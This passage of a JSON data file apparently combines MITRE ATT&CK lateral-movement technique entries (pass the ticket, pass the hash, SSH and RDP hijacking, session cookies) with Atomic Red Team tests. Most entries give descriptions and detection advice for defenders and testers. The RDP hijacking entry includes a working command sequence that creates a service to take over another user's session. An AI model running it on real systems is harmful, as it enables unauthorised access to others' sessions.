- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_system_requirements": [
- "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network."
- ]
- },
- "atomic_tests": []
- },
- "T1534": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux",
- "Office 365",
- "SaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tim MalcomVetter",
- "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747",
- "type": "attack-pattern",
- "created": "2019-09-04T19:26:12.441Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "external_id": "T1534",
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1534"
- },
- {
- "description": "Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.",
- "url": "https://blog.trendmicro.com/phishing-starts-inside/",
- "source_name": "Trend Micro When Phishing Starts from the Inside 2017"
- },
- {
- "description": "THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.",
- "url": "https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6",
- "source_name": "THE FINANCIAL TIMES LTD 2019."
- }
- ],
- "modified": "2022-03-08T21:29:30.249Z",
- "name": "Internal Spearphishing",
- "description": "Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1097": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Becwar",
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:11.623Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1097",
- "url": "https://attack.mitre.org/techniques/T1097"
- },
- {
- "external_id": "CAPEC-645",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/645.html"
- },
- {
- "url": "https://adsecurity.org/?p=556",
- "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
- "source_name": "ADSecurity AD Kerberos Attacks"
- },
- {
- "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos",
- "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
- "source_name": "GentilKiwi Pass the Ticket"
- },
- {
- "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
- "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.",
- "source_name": "Campbell 2014"
- },
- {
- "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
- "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
- "source_name": "CERT-EU Golden Ticket Protection"
- }
- ],
- "modified": "2020-01-30T19:57:16.037Z",
- "name": "Pass the Ticket",
- "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_system_requirements": [
- "Requires Microsoft Windows as a target system and Kerberos authentication enabled."
- ]
- },
- "atomic_tests": []
- },
- "T1570": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
- "created": "2020-03-11T21:01:00.959Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1570",
- "url": "https://attack.mitre.org/techniques/T1570"
- },
- {
- "source_name": "Unit42 LockerGoga 2019",
- "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
- "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).",
- "modified": "2022-04-19T15:34:49.016Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Lateral Tool Transfer",
- "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Named Pipe: Named Pipe Metadata",
- "Network Share: Network Share Access",
- "File: File Creation",
- "File: File Metadata",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1184": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1184",
- "url": "https://attack.mitre.org/techniques/T1184"
- },
- {
- "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
- "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
- "source_name": "Slideshare Abusing SSH"
- },
- {
- "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
- "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
- "source_name": "SSHjack Blackhat"
- },
- {
- "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
- "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
- "source_name": "Clockwork SSH Agent Hijacking"
- },
- {
- "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
- "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
- "source_name": "Welivesecurity Ebury SSH"
- }
- ],
- "modified": "2020-02-25T19:00:50.826Z",
- "name": "SSH Hijacking",
- "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_system_requirements": [
- "SSH service enabled, trust relationships configured, established connections"
- ]
- },
- "atomic_tests": []
- },
- "T1075": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:59.339Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1075",
- "url": "https://attack.mitre.org/techniques/T1075"
- },
- {
- "external_id": "CAPEC-644",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/644.html"
- },
- {
- "source_name": "NSA Spotting",
- "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
- "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"
- }
- ],
- "modified": "2020-01-30T19:55:38.699Z",
- "name": "Pass the Hash",
- "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_system_requirements": [
- "Requires Microsoft Windows as target system"
- ]
- },
- "atomic_tests": []
- },
- "T1028": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:33.723Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1028",
- "url": "https://attack.mitre.org/techniques/T1028"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/aa384426",
- "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
- "source_name": "Microsoft WinRM"
- },
- {
- "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
- "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.",
- "source_name": "Jacobsen 2014"
- },
- {
- "source_name": "Medium Detecting Lateral Movement",
- "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc",
- "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."
- }
- ],
- "modified": "2020-02-11T18:30:20.937Z",
- "name": "Windows Remote Management",
- "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm
command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "WinRM listener turned on and configured on remote system"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1550.004": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "SaaS",
- "Google Workspace",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jen Burns, HubSpot",
- "Johann Rehberger"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
- "type": "attack-pattern",
- "created": "2020-01-30T17:48:49.395Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.004",
- "url": "https://attack.mitre.org/techniques/T1550/004"
- },
- {
- "external_id": "CAPEC-60",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/60.html"
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- }
- ],
- "modified": "2021-10-12T14:22:09.650Z",
- "name": "Web Session Cookie",
- "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Usage",
- "Application Log: Application Log Content"
- ],
- "x_mitre_defense_bypassed": [
- "System Access Controls"
- ]
- },
- "atomic_tests": []
- },
- "T1506": {
- "technique": {
- "x_mitre_platforms": [
- "Office 365",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Johann Rehberger"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5",
- "type": "attack-pattern",
- "created": "2019-10-08T20:08:56.205Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1506",
- "url": "https://attack.mitre.org/techniques/T1506"
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- }
- ],
- "modified": "2020-12-17T16:57:07.529Z",
- "name": "Web Session Cookie",
- "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Logon Credentials",
- "Multi-Factor Authentication"
- ]
- },
- "atomic_tests": []
- },
- "T1563.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
- "type": "attack-pattern",
- "created": "2020-02-25T18:35:42.765Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1563.002",
- "url": "https://attack.mitre.org/techniques/T1563/002"
- },
- {
- "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
- "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
- "source_name": "TechNet Remote Desktop Services"
- },
- {
- "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html",
- "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
- "source_name": "RDP Hijacking Korznikov"
- },
- {
- "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6",
- "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
- "source_name": "RDP Hijacking Medium"
- },
- {
- "url": "https://github.com/nccgroup/redsnarf",
- "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
- "source_name": "Kali Redsnarf"
- }
- ],
- "modified": "2020-03-23T23:24:39.182Z",
- "name": "Remote Service Session Hijacking: RDP Hijacking",
- "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Logon Session: Logon Session Creation",
- "Network Traffic: Network Traffic Content",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "identifier": "T1563.002"
- },
- "atomic_tests": [
- {
- "name": "RDP hijacking",
- "auto_generated_guid": "a37ac520-b911-458e-8aed-c5f1576d9f46",
- "description": "[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "Session_ID": {
- "description": "The ID of the session to which you want to connect",
- "type": "string",
- "default": "1337"
- },
- "Destination_ID": {
- "description": "Connect the session of another user to a different session",
- "type": "string",
- "default": "rdp-tcp#55"
- }
- },
- "executor": {
- "command": "query user\nsc.exe create sesshijack binpath= \"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\"\nnet start sesshijack\n",
- "cleanup_command": "sc.exe delete sesshijack >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1550.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Blake Strom, Microsoft 365 Defender",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
- "type": "attack-pattern",
- "created": "2020-01-30T16:36:51.184Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1550.002",
- "url": "https://attack.mitre.org/techniques/T1550/002"
- },
- {
- "external_id": "CAPEC-644",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/644.html"
- },
- {
- "source_name": "Stealthbits Overpass-the-Hash",
- "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/",
- "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."
- }
- ],
- "modified": "2021-08-31T19:55:02.702Z",
- "name": "Use Alternate Authentication Material: Pass the Hash",
